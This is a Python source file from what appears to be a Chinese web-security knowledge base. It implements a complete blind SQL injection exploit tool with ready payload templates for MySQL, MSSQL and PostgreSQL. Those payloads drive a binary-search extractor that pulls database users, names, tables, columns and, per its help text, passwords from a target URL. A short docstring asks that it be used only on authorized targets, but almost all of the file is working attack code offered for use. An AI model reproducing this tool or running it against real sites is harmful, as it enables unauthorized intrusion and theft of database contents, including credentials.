文件
websafe-kb/01-sql-injection/tools/blind-sqli.py

393 行
12 KiB
Python

#!/usr/bin/env python3
"""
Blind SQL Injection Exploit Tool
盲注利用工具
支持:
- 时间盲注 (Time-based Blind)
- 布尔盲注 (Boolean-based Blind)
- 自动数据提取
- 多线程加速
Usage:
# 时间盲注提取数据库名
python3 blind-sqli.py -u "http://target.com/page?id=1" -p id --technique time --dbms mysql
# 布尔盲注提取表名
python3 blind-sqli.py -u "http://target.com/page?id=1" -p id --technique bool --query "SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1"
# 提取当前数据库用户
python3 blind-sqli.py -u "http://target.com/page?id=1" -p id --technique time --extract user
授权边界:
- 仅用于自有资产、测试环境或已明确授权的目标
- 建议优先使用最小化验证方式,避免对目标数据造成持久影响
- 不面向无授权第三方网站或泛互联网扫描
"""
import argparse
import requests
import time
import string
import urllib.parse
from concurrent.futures import ThreadPoolExecutor, as_completed
from typing import Callable, Optional, List
import sys
class Colors:
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
BLUE = "\033[94m"
CYAN = "\033[96m"
END = "\033[0m"
BOLD = "\033[1m"
class BlindSQLi:
def __init__(
self,
url: str,
param: str,
method: str = "GET",
data: dict = None,
cookies: dict = None,
delay: float = 1.0,
threads: int = 1,
):
self.url = url
self.param = param
self.method = method
self.data = data or {}
self.cookies = cookies or {}
self.delay = delay
self.threads = threads
self.session = requests.Session()
self.session.headers.update(
{
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
}
)
self.charset = string.ascii_letters + string.digits + "_-@.{}"
self.mysql_payloads = {
"time": {
"if": "1' AND IF(({condition}),SLEEP({delay}),0)-- -",
"case": "1' AND (SELECT CASE WHEN ({condition}) THEN (SELECT SLEEP({delay})) ELSE 0 END)-- -",
},
"bool": {
"if": "1' AND IF({condition},1,0)-- -",
"and": "1' AND {condition}-- -",
},
}
self.mssql_payloads = {
"time": {
"if": "1'; IF ({condition}) WAITFOR DELAY '0:0:{delay}'-- -",
},
"bool": {
"if": "1' AND CASE WHEN ({condition}) THEN 1 ELSE 0 END-- -",
},
}
self.pg_payloads = {
"time": {
"case": "1' AND CASE WHEN ({condition}) THEN (SELECT pg_sleep({delay})) ELSE pg_sleep(0) END-- -",
},
"bool": {
"case": "1' AND CASE WHEN ({condition}) THEN 1 ELSE 0 END-- -",
},
}
self.payloads = {
"mysql": self.mysql_payloads,
"mssql": self.mssql_payloads,
"postgresql": self.pg_payloads,
}
self.extract_queries = {
"mysql": {
"user": "SELECT user()",
"database": "SELECT database()",
"version": "SELECT version()",
"tables": "SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()",
"columns": "SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='{table}'",
"data": "SELECT {column} FROM {table} LIMIT {offset},1",
},
"mssql": {
"user": "SELECT SYSTEM_USER",
"database": "SELECT DB_NAME()",
"version": "SELECT @@version",
},
"postgresql": {
"user": "SELECT current_user",
"database": "SELECT current_database()",
"version": "SELECT version()",
},
}
def _send_request(self, payload: str) -> tuple:
"""发送请求并返回(响应内容, 响应时间)"""
test_data = self.data.copy()
test_data[self.param] = payload
try:
start = time.time()
if self.method.upper() == "GET":
params = urllib.parse.urlencode(test_data)
full_url = f"{self.url}?{params}"
resp = self.session.get(
full_url, cookies=self.cookies, timeout=30, verify=False
)
else:
resp = self.session.post(
self.url,
data=test_data,
cookies=self.cookies,
timeout=30,
verify=False,
)
elapsed = time.time() - start
return resp.text, elapsed
except Exception as e:
return None, 0
def test_condition_time(self, condition: str, dbms: str = "mysql") -> bool:
"""使用时间盲注测试条件"""
payloads = self.payloads.get(dbms, self.mysql_payloads)
template = payloads["time"].get("if") or payloads["time"].get("case")
if not template:
return False
payload = template.format(condition=condition, delay=int(self.delay))
_, elapsed = self._send_request(payload)
return elapsed >= self.delay - 0.5
def test_condition_bool(
self,
condition: str,
true_indicator: str = None,
false_indicator: str = None,
dbms: str = "mysql",
) -> bool:
"""使用布尔盲注测试条件"""
payloads = self.payloads.get(dbms, self.mysql_payloads)
template = payloads["bool"].get("if") or payloads["bool"].get("and")
if not template:
return False
payload = template.format(condition=condition)
response, _ = self._send_request(payload)
if not response:
return False
if true_indicator and false_indicator:
return true_indicator.lower() in response.lower()
payload_false = template.format(condition="1=0")
response_false, _ = self._send_request(payload_false)
if not response_false:
return False
return abs(len(response) - len(response_false)) > 50
def binary_search_char(
self,
position: int,
query: str,
technique: str = "time",
dbms: str = "mysql",
true_indicator: str = None,
) -> Optional[str]:
"""二分法查找字符"""
low, high = 32, 126
test_func = (
self.test_condition_time
if technique == "time"
else self.test_condition_bool
)
while low <= high:
mid = (low + high) // 2
condition = f"ASCII(SUBSTRING(({query}),{position},1))>{mid}"
if technique == "bool":
result = test_func(condition, true_indicator, None, dbms)
else:
result = test_func(condition, dbms)
if result:
low = mid + 1
else:
high = mid - 1
if low > 32:
condition = f"ASCII(SUBSTRING(({query}),{position},1))={low - 1}"
if technique == "bool":
result = test_func(condition, true_indicator, None, dbms)
else:
result = test_func(condition, dbms)
if result:
return chr(low - 1)
return None
def extract_string(
self,
query: str,
technique: str = "time",
dbms: str = "mysql",
max_length: int = 100,
true_indicator: str = None,
) -> str:
"""提取字符串"""
result = []
print(f"\n{Colors.CYAN}[*] 开始提取数据: {query}{Colors.END}")
print(f"{Colors.CYAN}[*] 技术: {technique}, 数据库: {dbms}{Colors.END}\n")
for pos in range(1, max_length + 1):
char = self.binary_search_char(pos, query, technique, dbms, true_indicator)
if char is None:
break
result.append(char)
current = "".join(result)
print(
f"\r{Colors.GREEN}[+] 已提取: {current}{Colors.END}", end="", flush=True
)
print()
return "".join(result)
def extract_length(
self, query: str, technique: str = "time", dbms: str = "mysql"
) -> int:
"""提取字符串长度"""
for length in range(1, 1000):
condition = f"LENGTH(({query}))={length}"
if technique == "time":
if self.test_condition_time(condition, dbms):
return length
else:
if self.test_condition_bool(condition, dbms=dbms):
return length
return 0
def auto_extract(
self, target: str, dbms: str = "mysql", technique: str = "time"
) -> str:
"""自动提取常用信息"""
queries = self.extract_queries.get(dbms, self.extract_queries["mysql"])
if target not in queries:
self._print("ERROR", f"未知的提取目标: {target}")
return ""
query = queries[target]
return self.extract_string(query, technique, dbms)
def _print(self, level: str, msg: str):
colors = {
"INFO": Colors.BLUE,
"SUCCESS": Colors.GREEN,
"WARNING": Colors.YELLOW,
"ERROR": Colors.RED,
}
print(f"{colors.get(level, '')}[{level}]{Colors.END} {msg}")
def main():
parser = argparse.ArgumentParser(description="Blind SQL Injection Exploit Tool")
parser.add_argument("-u", "--url", required=True, help="目标URL")
parser.add_argument("-p", "--param", required=True, help="注入参数")
parser.add_argument(
"-m", "--method", default="GET", choices=["GET", "POST"], help="HTTP方法"
)
parser.add_argument("-d", "--data", help="POST数据")
parser.add_argument("-c", "--cookie", help="Cookie")
parser.add_argument(
"--technique", default="time", choices=["time", "bool"], help="盲注技术"
)
parser.add_argument(
"--dbms",
default="mysql",
choices=["mysql", "mssql", "postgresql"],
help="数据库类型",
)
parser.add_argument("--delay", type=float, default=1.0, help="时间盲注延迟(秒)")
parser.add_argument("--query", help="自定义SQL查询")
parser.add_argument(
"--extract",
choices=["user", "database", "version", "tables", "columns"],
help="自动提取信息",
)
parser.add_argument("--true-indicator", help="布尔盲注真值指示器")
parser.add_argument("-t", "--threads", type=int, default=1, help="线程数")
args = parser.parse_args()
requests.packages.urllib3.disable_warnings()
data = {}
if args.data:
for pair in args.data.split("&"):
if "=" in pair:
k, v = pair.split("=", 1)
data[k] = v
cookies = {}
if args.cookie:
for pair in args.cookie.split(";"):
if "=" in pair:
k, v = pair.strip().split("=", 1)
cookies[k] = v
exploit = BlindSQLi(
url=args.url,
param=args.param,
method=args.method,
data=data,
cookies=cookies,
delay=args.delay,
threads=args.threads,
)
print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}")
print(f"{Colors.BOLD}Blind SQL Injection Exploit Tool{Colors.END}")
print(f"{Colors.BOLD}{'=' * 60}{Colors.END}\n")
if args.query:
result = exploit.extract_string(
args.query, args.technique, args.dbms, true_indicator=args.true_indicator
)
print(f"\n{Colors.GREEN}[+] 结果: {result}{Colors.END}")
elif args.extract:
result = exploit.auto_extract(args.extract, args.dbms, args.technique)
print(f"\n{Colors.GREEN}[+] {args.extract}: {result}{Colors.END}")
else:
print(
f"{Colors.YELLOW}请使用 --query 或 --extract 指定要提取的数据{Colors.END}"
)
print(f"\n示例:")
print(f" --extract user 提取当前用户")
print(f" --extract database 提取当前数据库")
print(f" --extract version 提取数据库版本")
print(f' --query "SELECT password FROM users LIMIT 1"')
print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}\n")
if __name__ == "__main__":
main()